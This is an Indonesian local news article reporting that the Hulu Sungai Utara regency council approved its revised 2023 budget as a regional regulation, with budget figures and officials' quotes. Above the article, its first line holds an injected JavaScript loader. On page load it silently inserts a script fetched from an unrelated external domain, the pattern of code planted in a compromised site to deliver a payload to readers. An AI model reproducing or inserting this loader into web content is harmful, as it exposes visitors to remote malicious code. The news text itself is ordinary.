(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Setelah melalui beberapa kali pembahasan dalam rapat paripurna, DPRD Kabupaten Hulu Sungai Utara (HSU) akhirnya sahkan Rancangan Peraturan Daerah (Raperda) tentang perubahan Anggaran Pendapatan dan Belanja Daerah (APBD) Kabupaten HSU tahun anggaran 2023 sebagai Peraturan Daerah (Perda).
Ketua DPRD HSU Almien Ashar Safari mengatakan bahwa fraksi-fraksi DPRD Kabupaten HSU dapat menerima dan menyetujui Raperda tentang Perubahan APBD Kabupaten HSU tahun anggaran 2023 untuk ditetapkan dan disahkan sebagai Peraturan Daerah.
“Pada prinsipnya semua fraksi menerima dan menyetujui rancangan daerah ini untuk dijadikan peraturan daerah,” kata Almien saat rapat paripurna DPRD HSU dalam agenda pengambilan keputusan terhadap Raperda tentang Perubahan APBD tahun anggaran 2023, Senin (11/9/2023).
Baca juga: Kadar Garam di Intake Sungai Bilu Tinggi, Produksi Air PAM Bandarmasih Terganggu
Dalam kesempatan tersebut, Almien menyampaikan beberapa perubahan yang telah disepakati seperti pendapatan daerah semula sekitar Rp1,059 triliun ada penambahan sekitar Rp289,041 miliar sehingga total penambahan yang di setujui di APBD perubahan menjadi Rp1, 348 triliun lebih.
Sedangkan belanja daerah, semula Rp1,115 triliun ada perubahan Rp 478, 050 miliar total Rp 1, 593 triliun deposit setelah perubahan Rp245,158 miliar.
Pada penerimaan pembiayaan daerah Rp352, 967 miliar tidak ada tambahan, dan pengeluaran pembiayaan daerah sebesar Rp107, 808 miliar juga tidak ada penambahan. Jadi jumlah pembiayaan setelah perubahan Rp 245,158 miliar sisa lebih setelah perubahan 0.
Baca juga: Budidaya Ikan Papuyu Kesulitan Air, Wakil Rakyat Serahkan Bantuan Sumur Bor
Menanggapi hal tersebut, Penjabat (Pj) Bupati HS, Zakly Asswan memberikan apresiasi dan mengucapkan terimakasih kepada DPRD HSU atas terlaksananya keputusan Raperda ini menjadi Perda.
“Secara normatif Rancangan Peraturan Daerah ini sudah sesuai dengan peraturan Kemendagri nomor 77 tahun 2020 tentang rentan waktu penetapan Raperda menjadi Perda,” kata Zakly Asswan.
Menurutnya, sesuai ketentuan pasal 112 Peraturan Pemerintah nomor 12 tahun 2019 tentang pengelolaan keuangan daerah dan ketentuan pasal 100 Peraturan Mendagri no 80 tahun 2015 dimana sebelum diberlakukan akan dimintakan persetujuan dan registrasi Gubernur.
Baca juga: Pemprov Kalsel Targetkan GOR Indoor Selesai 15 Desember 2023
Rapat Paripurna ini dihadiri oleh Sekretaris Daerah HSU Adi Lesmana berserta Asisten, Kepala SKPD , nagian serta instansi terkait serta Forkopimda HSU (Kanalkalimanatan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.